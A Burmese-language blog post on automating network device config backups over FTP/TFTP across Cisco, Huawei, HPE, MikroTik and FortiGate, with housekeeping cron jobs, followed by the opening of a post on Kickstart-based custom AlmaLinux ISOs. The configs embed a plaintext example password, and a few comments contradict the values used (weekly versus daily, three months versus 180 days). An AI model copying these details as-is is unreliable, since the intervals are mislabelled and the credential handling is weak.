အခုနောက်ပိုင်း networking industry ထဲမှာ Huawei ကိုတော်တော်လေး တွင်တွင်ကျယ်ကျယ် အသုံးပြုနေကြပါပြီ။ သူကတော့ အခြား vendor တွေနဲ့ယှဥ်လိုက်ရင် ဈေးလည်းသိပ်မကြီး သလို၊ feature တော်တော်များများကို ဘာ licensing မှမလိုပဲ အသုံးပြုလို့ရပါတယ်။ အချို့အပိုင်းတွေမှာ Cisco ထက်တောင် stable ဖြစ်နေလို့ အံ့အားသင့်ရပါတယ်။ CLI မှာအသုံးပြုတဲ့ command တွေအနေနဲ့တော့ Cisco နဲ့ တော်တော်လေးကွာခြားမှုရှိပြီးတော့၊ H3C နဲ့ HPE platform မှာအသုံးပြုတဲ့ command တွေနဲ့ ထပ်တူနီးပါး တူညီပါတယ်။ အချို့ကတော့ Huawei က OS ကို H3C နဲ့ HPE တို့စီကနေကူးချထားတာလို့လည်း ဆိုပါတယ်။ ဘယ်လိုပဲဖြစ်ဖြစ် stable ဖြစ်ပြီးတော့၊ ဈေးလည်းအများကြီးပေါလို့ Huawei နောက်ပိုင်းမှာ Enterprise နဲ့ နိုင်ငံတော်တော်များများရဲ့ government infrastructure တွေမှာအသုံးပြုလို့ နေပါပြီ။ HPE နဲ့ Dell ကတော့ အခုနောက်ပိုင်း networking ဘက်မှာ တော်တော်လေးကို invest လုပ်လာတာကိုလည်းတွေ့ရပါတယ်။ market ထဲမှာတော့ Cisco ကတော့ အခုချိန်ထိ ထိပ်ဆုံးမှာ ရှိနေတုန်းဆိုတာကိုတော့ ဘယ်သူမှငြင်းလို့မရပါဘူး။

Cisco၊ Huawei နဲ့ HPE တို့အပြင် အလုပ်မှာသုံးတဲ့ vendor နောက်တစ်ခုက MikroTik ပဲဖြစ်ပါတယ်။ အခြားသော networking OS တွေလိုပဲ MikroTik ရဲ့ RouterOS ကလည်း Linux ပေါ်မှာပဲ အခြေခံပြီးတော့ ရေးထားတာဖြစ်ပါတယ်။ သူကတော့ Latvia ဆိုတဲ့ Eastern European နိုင်ငံတစ်ခုကနေ ထုတ်တာဖြစ်ပြီးတော့ feature တော်တော်များများကို device သေးသေးလေးနဲ့ အကုန် support လုပ်လို့ developing countries တွေမှာ အသုံးများပါတယ်။ Ubiquiti လောက် အမြင်အားဖြင့် မခမ်းနားသော်လည်း၊ သူ့ဟာနဲ့သူတော့ အလုပ်ဖြစ်ပြီး ဈေးပေါတဲ့ platform တစ်ခုပါ။ အချို့သော ISP တွေမှာ MikroTik ကို core network အနေနဲ့ အသုံးပြုထားတာကိုလည်းတွေ့ရပါတယ်။ သေချာတာတစ်ခုကတော့ stable ဖြစ်တဲ့ network environment ကိုတော့ရမှာ မဟုတ်ပါဘူး။ MikroTik ကို edge သို့မဟုတ် CPE အနေလောက်နဲ့တာ အသုံးပြုသင့်ပြီးတော့၊ core network မှာတော့ sidekick အနေနဲ့ အရေးသိပ်ပြီးတော့ မကြီးတဲ့ feature အချို့ကိုပဲ ယူပြီးတော့ သုံးသင့်ပါတယ်။ Edge အနေနဲ့ အသုံးပြုမယ်ဆိုရင်တောင် MikroTik ကို enterprise လိုအရေးကြီးတဲ့ customer တွေအတွက် အသုံးမပြုရင်တော့ ပိုပြီးတော့ စိတ်ချရပါမယ်။ သို့သော် MikroTik ရဲ့ RouterBOARD နဲ့ RouterOS ကတော့ အလွန် အစွမ်းထက်လို့ Mighty MikroTik လို့ စာရေးသူ အလုပ်မှာ စနောက်ပြီးတော့ ပြောလေ့ရှိပါတယ်။

Firewall နဲ့ security appliance အနေနဲ့တော့ FortiGate ကို အသုံးပြုလို့ သူ့အတွက်လည်း script ကိုရှာကြံပြီးတော့ research လုပ်ရပြန်ပါတယ်။ CLI ကတော့ အထက်မှာပြောသွားတဲ့ product တွေနဲ့ ထပ်ပြီးတော့ လုံးဝကွဲထွက်သွားပြန်ပါတယ်။ Fortinet ရဲ့ OS ကလည်း ထုံးစံအတိုင်း Linux ကိုအခြေခံထားလို့ concept အရတော့ သဘောပေါက်ရလွယ်ပါတယ်။ နောက်ပိုင်း security ဘက်မှာ တော်တော်လေးကို Fortinet ထိုးဖောက်လာတာကိုတွေ့ရပါတယ်။ SD-WAN အတွက်လည်း FortiGate မှာ feature တွေပါပြီးတော့ Cisco နဲ့ Meraki တို့ရဲ့ SD-WAN solution တွေလောက်တော့ ဈေးမကြီးပါဘူး။ စာရေးသူ အသုံးပြုသလောက်တော့ ဘာပြဿနာ ထွေထွေထူးထူး မရှိလို့ မဆိုးဘူးလို့ ဆိုရမှာပါ။ စိတ်တိုင်းအကျဆုံးထဲမှာတော့ FortiGate မပါ ပါဘူး။ သို့သော် Enterprise အတွက်တော့ stable ဖြစ်တဲ့ platform တစ်ခုပါ။ Data Centre တွေထဲမှာ အခုနောက်ပိုင်း FortiGate ကိုတော်တော်လေး အသုံးပြုလာတာကိုလည်း စာရေးသူ တွေ့ရပါတယ်။

ကဲ… ပထမဆုံးအနေနဲ့ Cisco ရဲ့ IOS XE device တွေမှာ auto config backup အတွက်ဘယ်လို configure လုပ်သလဲဆိုတာနဲ့ syntax ကို အတိုချုပ်ပြီးတော့ ရှင်းသွားပါ့မယ်။

**Cisco IOS XE မှာ configure လုပ်ပုံ**

```
!
!
! # get into global configuration mode
conf t
! 
! 
! # configure ftp username and password 
ip ftp username gnu-ftp01
ip ftp password Passw0rd!23
!
!
! # if loopback interface is used as management network, configure the following
ip tftp source-interface Loopback0
ip ftp source-interface Loopback0
!
!
! # define archive path with its hostname and current timestamp 
! # write-memory is to trigger ftp backup whenever wr command input
! # time-period is to trigger ftp backup every week (1440 minutes = 1 day)
archive
 path ftp://192.168.105.10/$h-$t
 write-memory
 time-period 1440
!
!
```

အထက်က configuration ကတော့ Cisco IOS တွေမှာ အသုံးပြုလို့ရတဲ့ commands တွေပါ။ ပထမတပိုင်းကတော့ ftp username နဲ့ password ကိုအရင်းဆုံး configure လုပ်ပေးရပါ့မယ်။ ပြီးရင်တော့ ip tftp/ftp source-interface loopback0 ဆိုတာ လိုအပ်မှထည့်ဖို့လိုပါတယ်။ များသောအားဖြင့် တော့မလိုပါဘူး။ အလုပ်က network မှာတော့ VRF ကိုအသုံးပြုလို့ အဲ့ဒီ statement ကထည့်ဖို့လိုပါတယ်။ နောက်ဆုံးတပိုင်းမှာတော့ archive ဆိုတာ auto config backup ကို trigger လုပ်မယ့် အပိုင်းဖြစ်ပါတယ်။ အဲ့ဒီ archive အောက်မှာ path ftp\://192.168.105.10/$h-$t ဆိုပြီးတော့ ftp server ကို ထောက်ပေးရပါ့မယ်။ $h ဆိုတာကတော့ device ရဲ့ hostname ကို filename မှာထည့်ချင်လို့ အသုံးပြုတဲ့ variable တစ်ခုဖြစ်ပါတယ်။ $t ဆိုတာကတော့ file ကို backup လုပ်တဲ့ timestamp အတွက်ဖြစ်ပါတယ်။ write-memory ဆိုတာကတော့ Cisco IOS XE ရဲ့ CLI မှာ write-memory သို့မဟုတ် copy running-config startup-config ကို ရိုက်ထည့်တိုင်းမှာ running-config ကို ftp server ပေါ်မှာသွားပြီးတော့ auto backup လုပ်မှာဖြစ်ပါတယ်။ time-period 1440 ဆိုတာကတော့ archive trigger ရဲ့interval ကို 1440 minutes ဆိုပြီးသတ်မှတ်ပေးတာ ဖြစ်ပါတယ်။ တရက်ကို တခါ အနည်းဆုံးတော့ တစ်ခါ backup လုပ်ချင်လို့ဖြစ်ပါတယ်။

**Huawei VRP မှာ configure လုပ်ပုံ**

```
# get into system-view which is equivalent of configure terminal in Cisco
system-view

# configure all ftp related settings for saving configuration
set save-configuration backup-to-server server 192.168.105.10 transport-type ftp user gnu-ftp01 password Passw0rd!23

# set interval for save-configuration
set save-configuration interval 1440 delay 2 cpu-limit 60
```

Huawei မှာတော့ နည်းနည်းပိုရှင်းပါတယ်။ ပထမဆုံး ftp နဲ့ ပတ်သတ်တဲ့ server IP address၊ ftp username နဲ့ ftp password ကို အရင်ဆုံး configure လုပ်ရပါ့မယ်။ ပြီးတော့မှ save-configuration အတွက် 1440 minutes ကို interval အနေနဲ့ သတ်မှတ်ပေးလိုက်ပါတယ်။ delay 2 နဲ့ cpu-limit 60 ဆိုတာကတော့ Huawei VRP မှာ တခါတခါ CPU ဟာ highly utilised ဖြစ်နေရင် ftp process ကို အနှောက်အယှက်ဖြစ်တတ်ပါတယ်။ အဲ့ဒါကြောင့် ၂ စက္ကန့် စောင့်ခိုင်းပြီးတော့ CPU utilisation ဟာ အများဆုံး ၆၀ ရာခိုင်နှုန်း အတွင်းမှာရှိမှ trigger လုပ်ပါလို့ သတ်မှတ်တာဖြစ်ပါတယ်။

**HPE ProCurve မှာ configure လုပ်ပုံ**

```
# get into system-view which is equivalent of configure terminal in Cisco
system-view

# create a job called save and its commands sequence
scheduler job save
command 1 save safely force

# create a job called tftp and its commands sequence
scheduler job tftp
command 1 tftp 192.168.105.10 put flash:/startup.cfg gnu-ce01.cfg source interface LoopBack 0

# create a schedule called save to trigger job save with its interval 
scheduler schedule save
job save
time repeating interval 1440
quit

# create a schedule called tftp to trigger job tftp with its interval  
scheduler schedule tftp
job tftp
time repeating interval 1445
quit
```

HPE ProCurve မှာကြတော့ နည်းနည်းလေး ကွာခြားသွားပြန်ပါတယ်။ ftp ကို scheduler နဲ့ တွဲပြီး အသုံးပြုဖို့အတွက် အခက်အခဲ အနည်းငယ်ရှိနေလို့ tftp ကိုပဲ အသုံးပြုထားပါတယ်။ ကျန်တဲ့ syntax ကတော့ နားလည်ရလွယ်မယ်လို့ ထင်တဲ့အတွက် အသေးစိတ်မရှင်းတော့ပါဘူး။

**MikroTik RouterOS မှာ configure လုပ်ပုံ**

```
# create a scheduler called AutoFTPBackupConfig
/system scheduler
add interval=1d name=AutoFTPBackupConfig on-event=AutoFTPBackupConfig policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
    start-date=dec/25/2019 start-time=23:00:00

# create a script called AutoFTPBackupConfig to auto backup the device config	
/system script
add name=AutoFTPBackupConfig owner=dnxadm policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="#\
    \_ftp server\r\
    \n# configure ftp server, username and password\r\
    \n :local ftphost \"192.168.105.10\"\r\
    \n :local ftpuser \"gnu-ftp01\"\r\
    \n :local ftppassword \"Passw0rd!23\"\r\
    \n\r\
    \n# get the current date and time\r\
    \n:local GDate [/system clock get date]\r\
    \n:local GDay [ :pick \$GDate 4 6 ]\r\
    \n:local GMonth [ :pick \$GDate 0 3 ]\r\
    \n:local GYear [ :pick \$GDate 7 11 ]\r\
    \n:local GTime [/system clock get time]\r\
    \n:local GResult \"\$GDay-\$GMonth-\$GYear-\$GTime\"\r\
    \n\r\
    \n\r\
    \n# format the file name for config export\r\
    \n:local ExportConf ([/system identity get name].\".rsc\")\r\
    \n:log info \$ExportConf\r\
    \n\r\
    \n# backup the existing configuration\r\
    \n/export compact file=\$ExportConf\r\
    \n:log info message=\"Config export finished.\"\r\
    \n\r\
    \n# upload the configuration to ftp server\r\
    \n:log info message=\"Uploading config export.\"\r\
    \n/tool fetch address=\"\$ftphost\" src-path=\$ExportConf user=\"\$ftpuser\
    \" mode=ftp password=\"\$ftppassword\" dst-path=\"\$GResult-\$ExportConf\"\
    \_upload=yes\r\
    \n\r\
    \n# delay 3 seconds to trigger the upload\r\
    \n:delay 3s;\r\
    \n\r\
    \n# feedback the user if it is completed successfully\r\
    \n:log info message=\"Configuration backup finished.\";"
```

ဒါကတော့ MikroTik မှာ scheduler တစ်ခု နဲ့ script တစ်ခု ဖန်တီးတဲ့ ပုံစံဖြစ်ပါတယ်။ CLI မှာ အသုံးပြုလို့ရတဲ့ commands sequence တွေကို ဖော်ပြပေးထားတာပါ။ Winbox ကို အသုံးပြုပြီးတော့ GUI သုံးမယ်ဆိုရင် တော့ အောက်က script ကို ထည့်သွင်းအသုံးပြုလို့ရပါတယ်။ Syntax နဲ့ command အသေးစိတ်ကိုတော့ MikroTik အတွက် မရှင်းတော့ပါ။ လုပ်ငန်းစဥ်ကတော့ အထက်က device တွေမှာလိုပဲ နေ့တိုင်း config backup လုပ်မယ်လို့ scheduler မှာသတ်မှတ်ပေးထားတာပဲဖြစ်ပါတယ်။ Script မှာ filename ကို ကိုယ်လိုချင်တဲ့ ပုံစံထွက်အောင်လို့ လုပ်ရင်းနဲ့ အနည်းရှည်သွားတာပဲဖြစ်ပါတယ်။

```
# configure ftp server, username and password
 :local ftphost "192.168.105.10"
 :local ftpuser "gnu-ftp01"
 :local ftppassword "Passw0rd!23"

# get the current date and time
:local GDate [/system clock get date]
:local GDay [ :pick $GDate 4 6 ]
:local GMonth [ :pick $GDate 0 3 ]
:local GYear [ :pick $GDate 7 11 ]
:local GTime [/system clock get time]
:local GResult "$GDay-$GMonth-$GYear-$GTime"

# format the file name for config export
:local ExportConf ([/system identity get name].".rsc")
:log info $ExportConf

# backup the existing configuration
/export compact file=$ExportConf
:log info message="Config export finished."

# upload the configuration to ftp server
:log info message="Uploading config export."
/tool fetch address="$ftphost" src-path=$ExportConf user="$ftpuser" mode=ftp password="$ftppassword" dst-path="$GResult-$ExportConf" upload=yes

# delay 3 seconds to trigger the upload
:delay 3s;

# feedback the user if it is completed successfully
:log info message="Configuration backup finished.";
```

**FortiGate မှာ configure လုပ်ပုံ**

```
# configure an auto-script to trigger a config backup file to ftp
config system auto-script 
    edit "backup" 
        set interval 86400
        set repeat 0 
        set start auto 
        set script " 
            config global 
            execute backup config ftp fw01.conf 192.168.105.10 gnu-ftp01 Passw0rd!23"
    next 
end
```

FortiGate မှာတော့ interval ကို 86400 seconds (တနည်းအားဖြစ် ရက်တိုင်း) ဆိုပြီးတော့ သတ်မှတ်ပေးလိုက်ပါတယ်။ MikroTik နည်းတူ script ရေးပြီးတော့ schedule လုပ်ပေးလိုက်ရုံပါပဲ။ ဒီတစ်ခုကိုလည်း syntax နဲ့ command ကို အသေးစိတ်မရှင်းလိုတော့ပါ။ Post အရမ်းရှည်သွားမှာကိုလည်း စိုးရိမ်လို့ပါ။ syntax နဲ့ commands တွေကို ကျွမ်းကျင်မှုကတော့ ကိုယ်ဘယ်လောက် သိချင်သလဲဆိုတာ ပေါ်မူတည်ပြီးတော့ လေ့လာရင်း တတ်ကျွမ်းလာနိုင်ပါတယ်။ အရမ်းခက်တဲ့ အရာတော့မဟုတ်ပါဘူး။ ဆိုလိုချင်တာက routing protocol တွေနဲ့ switching ရဲ့ အလုပ်လုပ်ပုံကို သိတာနဲ့ အဲ့ဒီ routing protocol နဲ့ switching commands တွေကို မှတ်မိတာ သိတာနဲ့ မတူပါဘူး။ အဲ့ဒါတွေဘယ်လို အလုပ်လုပ်သလဲ ဆိုတာသိပြီးတော့ ဘယ် commands တွေကို မှန်မှန်ကန်ကန် အသုံးပြုရသလဲဆိုတာကို သိမှတာ အသိပညာ အတတ်ပညာရယ်လို့ ခေါ်ရမှာ ဖြစ်ပါတယ်။ အဲ့ဒီ အချက်ကို သေသေချာချာနားလည်ဖို့တော့ လိုပါလိမ့်မယ်။ နောက်မို့ဆိုရင် ခရီးသိပ်ရောက်မှာမဟုတ်ပါဘူး။

နောက်ဆုံးအနေနဲ့ အထက်မှာရှင်းပြသလို backup လုပ်ထားတဲ့ config file တွေကို ဘယ်လို housekeeping လုပ်သလဲဆိုတာ အချပ်ပိုအနေနဲ့ နည်းနည်းရှင်းလိုပါတယ်။ အောက်မှာတော့ housekeeping.sh ဆိုတဲ့ bash script မှာပါတဲ့ commands sequence တွေပဲဖြစ်ပါတယ်။ အဲ့ဒီ script ကို မ run ခင်တော့ root directory မှာ အောက်က diretories တွေကို အရင်ဆုံး တည်ဆောက်ရပါ့မယ်။

```
# create required directories at root
root@rpm-dev02:~# mkdir -p /configs/cisco /configs/hpe /configs/huawei /configs/mikrotik /configs/fortigate

# create a bash script called housekeeping.sh
root@rpm-dev02:~# vi /opt/scripts/housekeeping.sh

#!/bin/bash

# Cisco IOS XE
# archive all cisco daily config backup into /configs/cisco/ 
mv /home/gnu-ftp01/[a-z]*[0-9] /configs/cisco/ 2> /dev/null

# HPE ProCurve
# archive all hpe daily config backup into /configs/hpe/ 
mv /tftproot/*.cfg /configs/hpe/ 2> /dev/null
# rename the file with current date
cd /configs/hpe/ 2> /dev/null
mv gnu-ce01.cfg gnu-ce01-$(date +'%Y%m%d').cfg 2> /dev/null

# Huawei VRP
# archive all huawei daily config backup into /configs/huawei/ 
mv /home/gnu-ftp01/[0-9]*.zip /configs/huawei/ 2> /dev/null

# MikroTik RouterOS
# archive all mikrotik daily config backup into /configs/mikrotik/ 
mv /home/gnu-ftp01/*.rsc /configs/mikrotik/ 2> /dev/null

# FortiGate
# archive all fortigate daily config backup into /configs/fortigate/ 
mv /home/gnu-ftp01/fw01.conf /configs/fortigate/ 2> /dev/null
# rename the file with current date
cd /configs/fortigate/ 2> /dev/null
mv fw01.conf fw01-$(date +'%Y%m%d').conf 2> /dev/null
```

အထက်က script ကို housekeeping လုပ်ဖို့အတွက် အသုံးပြုပြီးတော့ crontab နဲ့ ညတိုင်း run ဖို့ကို အောက်ကအတိုင်း schedule လုပ်ရပါလိမ့်မယ်။ နောက်ပြီးတော့ အပတ်တိုင်း ၃ လကျော်ကြာသွား ပြီးတဲ့ config file တွေကို remove လုပ်ပစ်ပါ့မယ်။ နောက်မို့ဆိုရင် config file တွေအရမ်းများလာပြီး ftp server ပေါ်မှာ space ကုန်မှာစိုးလို့ပါ။

```
# create a cron job to run the housekeeping script every night
root@rpm-dev02:~# crontab -e 

@daily /opt/scripts/housekeeping.sh
@weekly /usr/bin/find /configs/cisco -ctime +180 -exec rm {} \;
@weekly /usr/bin/find /configs/hpe -ctime +180 -exec rm {} \;
@weekly /usr/bin/find /configs/huawei -ctime +180 -exec rm {} \;
@weekly /usr/bin/find /configs/mikrotik -ctime +180 -exec rm {} \;
@weekly /usr/bin/find /configs/fortigate -ctime +180 -exec rm {} \;
```

ဒီ housekeeping.sh bash script နဲ့ cron job ဟာ စာရေးသူ လိုအပ်သလို အသုံးပြုလို့ရအောင်လို့ လုပ်ထားတာဖြစ်တဲ့အတွက် ပြီးပြည့်စုံတဲ့ workflow တော့မဟုတ်ပါ။ သို့သော်စာရေးသူ အတွက်တော့ အလုပ်ဖြစ်ပါတယ်။

ဒါကတော့ ftp/tftp ကိုအသုံးပြုပြီးတော့ multi-vendors networking device တွေရဲ့ config ကို auto backup လုပ်နိုင်တဲ့ workflow လေးတစ်ခုပဲဖြစ်ပါတယ်။ တခြားသော နည်းလမ်းတွေလည်းရှိပါတယ်။ ဒီ workflow ကတော့ စာရေးသူ အတွက် ကိုက်တဲ့ workflow ဖြစ်တဲ့အတွက် အခုလို ရှင်းပြပေးရ ခြင်းဖြစ်ပါတယ်။ ဒီ post ကို ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။ အားလုံးအဆင်ပြေမယ်လို့ မျှော်လင့်ပါတယ်။


# Kickstart ကိုအသုံးပြုပြီး Custom ISO တွေဖန်တီးပုံ

ကောလိပ်ကျောင်းသားဘဝတုန်းက သင်ရိုးညွှန်းတန်းထဲမှာပါတဲ့ bootable USB လုပ်နည်းတို့၊ Windows ကို unattended installation လုပ်နည်းတို့အပြင် boot menu ကိုပြန်လည်ပြင်ဆင်ပြီး ကိုယ်လိုချင်တဲ့ disk rescue utility ထပ်ပေါင်းထည့်နည်း အကြောင်းတွေကို စာတွေ့ရောလက်တွေ့ပါလေ့လာခဲ့ဘူးပါတယ်။ စာရေးသူလည်း အတော်လေးကို စိတ်ဝင်စားခဲ့တဲ့ အကြောင်းအရာတွေဖြစ်ပါတယ်။ နောင်တချိန်မှာလည်း အဲ့ဒီဘာသာရပ်တွေကိုပဲ အချိန်ပိုင်းကျောင်းဆရာလုပ်တဲ့အချိန်မှာ ကျောင်းသားကျောင်းသူတွေကိုပြန်လည် သင်ကြားပေးခဲ့ပြန်ပါတယ်။ Automation ဆိုတဲ့ ဝေါဟာရကို သေချာထဲထဲဝင်ဝင် နားမလည်ခင်ကတည်း ငပျင်းမို့ တခါလုပ်ပြီးနောက်တခေါက်မလုပ်ရဖို့ ဘယ်လိုနည်းတွေရှိသလဲဆိုတာ အမြဲရှာဖွေနေတတ်ပါတယ်။ အဲ့ဒီအတွက် scripting နဲ့ပတ်သတ်လာရင် အရင်ကတည်း စိတ်ဝင်စားခဲ့တာတော့ အမှန်ပါ။ ကောလိပ်မှာသင်ရတုန်း Perl တို့၊ Bash တို့အပြင် Windows မှာသုံးတဲ့ Batch script တွေနဲ့ လက်တွေ့တွေအများကြီးလုပ်ခဲ့ရပါတယ်။ ဒါဟာ automation မှာအသုံးပြုနိုင်တဲ့ workflow တခုဆိုတာကတော့ အခုနောက်ပိုင်းမှာ ပိုပြီးနားလည်လာခဲ့ပါတယ်။

DevOps တို့၊ CI/CD တို့၊ containerisation တို့အခုနောက်ပိုင်းမှာ တွင်တွင်ကျယ်ကျယ်လေးကို ပြောဆိုအသုံးပြုလာကြပါတယ်။ စာရေးသူကိုယ်တိုင်က ဘယ်အရာမဆို သတိလေးကပ်ပြီး သံသယနဲ့ မြင်တတ်ထင်တတ်လို့လားတော့မသိဘူး၊ နည်းပညာမှာ အခုလိုမျိုး idea အသစ်တွေ၊ tool အသစ်တွေထွက်လာရင် ချက်ချင်းအသုံးပြုလေ့မရှိပဲ ခဏတော့စောင့်ကြည့်တဲ့အကျင့်ရှိပါတယ်။ အထူးသဖြင့် DevOps ဆိုပြီးပြောတဲ့အကြောင်းအရာတွေမှာ အခြေခံအရေးပါတဲ့အချက်တခုဟာ အဲ့ဒါတွေအကုန်လုံးဖြစ်နိုင်ဖို့အတွက်က hardware infrastructure လိုပါတယ်၊ ဒါ့အပြင် အဲ့ဒီ infrastructure တွေမှာ network တွေကိုဘယ်လိုမျိုး တည်ဆောက်ကြသလဲဆိုတဲ့အချက်ပါ။ များသောအားဖြင့်က cluster တွေဖန်တီးလိုက်၊ Kubernetes ဟချလောက်ဆိုလိုက်တာနဲ့ အားလုံးအတွက်အဆင်ပြေစေမယ့် hyperscaler ကြီးတွေဖြစ်လာလေသတည်း။ သို့သော်... ထို cluster ကြီးတွေအတွက် အနောက်မှာဘယ်လိုမျိုး infrastructure ကြီးတွေကို run ထားသလဲဆိုတာကို အကုန်မေ့ပစ်ထားလို့မရပါ။ Bare metal server တွေကို datacentre ကြီးတွေထဲမှာ rack and stack မလုပ်ပဲနဲ့၊ router တွေ switch တွေ firewall လိုမျိုး security device တွေ၊ F5 လိုမျိုး load-balancer တွေ၊ Storage Area Network (SAN) လို့ခေါ်တဲ့ storage array တွေမရှိပဲနဲ့ day 0 deployment ဆိုတာမျိုး မဖြစ်နိုင်ပါ။ အဲ့လိုမှမဟုတ်ပဲနဲ့ public cloud vendor တခုခုကိုအသုံးပြုမယ်ဆိုရင်တော့လည်း premium price တခုကိုပေးပြီး ကျော်လွှာလို့ရနိုင်ပါတယ်။ သို့သော် ရေရှည်အတွက်ဖြစ်နိုင်ပါ့မလား။

နည်းပညာနဲ့ ပတ်သတ်လာရင် အကုန်လုံးကို မသိနိုင်ပေမယ့်လည်း basic rudimentary အကြောင်းအရာတွေအများကြီး ပိုင်နိုင်ထားမှ အကြောင်းအရာ အသစ်အသစ်တွေကို ဆက်လက်လေ့လာရတာလွယ်ပါတယ်။ လက်တွေ့မှာလည်း ကိုယ့်အတွက်ရော လုပ်ငန်းခွင်မှာအသုံးတည့်ပါမှ လိုက်ပါလေ့လာတာမျိုးပါ။ ပိုပြီးဆိုးတာ နည်းပညာလောကမှာက လေ့လာသင်ကြားမှုက ရပ်သွားလို့မရပါဘူး။ သို့သော်တဘက်မှာလည်း ရှိသမျှအကုန်လေ့လာပြီး အကုန်တတ်မြောက်အောင်ကလည်း တော်ရုံမဖြစ်နိုင်ပါ။ တချိန်တုန်းက ရှိသမျှ နည်းပညာ certificate တွေကိုရသလောက် အကုန်လိုက်ဖြေပါတယ်။ ဒီလိုနဲ့များစွာသော certificate တွေကို expired ဖြစ်တဲ့အခါမှာလည်း နောက်တခါ ပြန်လုပ်ရပါတယ်။ အခြားသူတွေအတွက်ဘယ်လိုနေမှန်းမသိပေမယ့် စာရေးသူအတွက်တော့ burnout ဖြစ်တဲ့အခြေအနေမျိုးနဲ့ ကြုံခဲ့ရပါတယ်။ ဒါ့အပြင် သင်ကြားရေးအတွက်လည်း ထင်သလောက် ကိုယ့်အတွက် အလုပ်မဖြစ်လို့ အခြားသောလေ့လာပုံတခုနဲ့ ခရီးဆက်ခဲ့ပါတယ်။ Home lab ကြောင့်စာရေးသူအတွက် အကျိုးများခဲ့ပုံကို ဒီ article <https://my.itmatic101.com/others/home-lab-yahikhyin-anupnya> မှာလည်း အကျယ်တဝင့်ရှင်းပြခဲ့ဘူးပါတယ်။

နောက်ပိုင်းမှာလည်း cloud solution တွေနဲ့အလုပ်လုပ်တဲ့အခါ စာရေးသူ bootstrap လုပ်တဲ့အပိုင်းတော်တော်များကို လုပ်ငန်းခွင်မှာ တာဝန်ယူပြီးလုပ်ခဲ့ပါတယ်။ Cloud-init ကိုအသုံးပြုပြီး bootstrap automation အတွက် workflow တွေမှာထည့်သွင်းခဲ့ဘူးပါတယ်။ Microsoft Windows မှာတော့ unattended installation ဆိုပြီး လူသိများပါတယ်။ အဓိကလိုရင်းက OS installation တခါလုပ်တိုင်း မေးသမျှမေးခွန်းတွေကို တခုချင်းစီလိုက်ဖြေပြီး click မလုပ်ချင်လို့ပဲဖြစ်ပါတယ်။ Mass deployment လုပ်တဲ့အခါမှ အသုံးပြုတဲ့ bootstrap automation ပုံစံတခုဆိုလည်း မမှားပါဘူး။ အခုနောက်ပိုင်းမှာ cloud-init ဟာနေရာတကာမှာတော်တော်လေးကို အသုံးများပါတယ်။ YAML syntax နဲ့ဖြစ်တဲ့အတွက် လွယ်ကူတာကြောင့် industrial standard တခုအနေနဲ့ cloud မှာရော၊ on-premise မှာပါအသုံးပြုပါတယ်။ သို့သော်... Enterprise Linux လို့ဆိုလိုက်တာနဲ့ Red Hat Enterprise Linux ကိုချက်ချင်းပြေးမြင်ကြမှာပါ။ Kickstart ဟာ RHEL ရဲ့ bootstrap process မှာအသုံးပြုနိုင်ဖို့အတွက် Red Hat ရဲ့ product တခုပါ။ ဒီ article မှာ RHEL ကိုမသုံးပဲနဲ့ AlmaLinux 8 ကိုအသုံးပြုပြီး demo လုပ်ပါ့မယ်။ အကြမ်းဖျင်းအားဖြင့် Rocky Linux နဲ့ AlmaLinux နှစ်ခုဟာ binary-to-binary compatible ဖြစ်တာမို့ RHEL ကိုသုံးမယ်ဆိုရင်လည်း လုပ်ငန်းစဉ်တွေအားလုံးဟာ အတူတူပါပဲ။ Kickstart ကိုသုံးပြီး bare metal hardware တွေကိုပဲ bootstrap လုပ်နိုင်တာမဟုတ်ပဲနဲ့ virtual machine (VM) တွေအတွက် အသုံးပြုချင်တယ်ဆိုလည်းဖြစ်ပါတယ်။

## Custom ISO တည်ဆောက်ပုံအဆင့်များ

### Build environment တခုပြင်ဆင်ခြင်း

ဒီ custom ISO တွေကိုတည်ဆောက်ဖို့အတွက် ဘယ် Linux distribution ကိုအသုံးပြုပြီး build environment တခုကိုပြင်ဆင်လို့ရပါတယ်။ စာရေးသူက Ubuntu 24.04 LTS သုံးတဲ့အတွက် APT package manager နဲ့လိုအပ်တဲ့ deb package တွေကိုအောက်မှာပြထားသလို အရင် install လုပ်ပါ့မယ်။

```bash
# update the package repos
sudo apt update

# for mkisofs utility, install genisoimage package
sudo apt install genisoimage

# for isohybrid utility, install syslinux-utils package
sudo apt install syslinux-utils

# for implantisomd5 utility, install isomd5sum package
sudo apt install isomd5sum
```

Ubuntu မသုံးပဲနဲ့ RHEL ရဲ့ derivative တခုခုကိုသုံးမယ်ဆိုရင် အောက်မှပြထားတဲ့ package တွေကို install လုပ်ရပါ့မယ်။ စာရေးသူက Fedora 40 ကို VM မှာတင်ပြီး စမ်းသပ်ထားတာဖြစ်ပါတယ်။ ကျန်တဲ့ အပိုင်းတွေ အကုန်လုံးက အတူတူပါပဲ။

```bash
sudo dnf install genisoimage
sudo dnf install syslinux
sudo dnf install isomd5sum
```

နောက်အဆင့်အနေနဲ့ ကိုယ်အသုံးပြုမယ့် AlmaLinux 8 ISO ကိုအောက်မှပြထားသလိုမျိုး လက်ရှိအလုပ်လုပ်မယ့် directory ထဲကို download ဆွဲလိုက်ပါ။ AlmaLinux 8 DVD ISO က 13 GB လောက်ရှိတဲ့အတွက် ကိုယ့် internet speed ပေါ်မူတည်ပြီး အနည်းငယ်တော့ကြာနိုင်ပါတယ်။ ဒါ့အပြင်ကိုယ့်စက်ပေါ်မှာလည်း နည်းဆုံး 50 to 60 GB လောက် storage အပိုရှိဖို့လိုပါလိမ့်မယ်။

```bash
mkdir kickstart
cd kickstart
wget https://repo.almalinux.org/almalinux/8.10/isos/x86_64/AlmaLinux-8.10-x86_64-dvd.iso
```

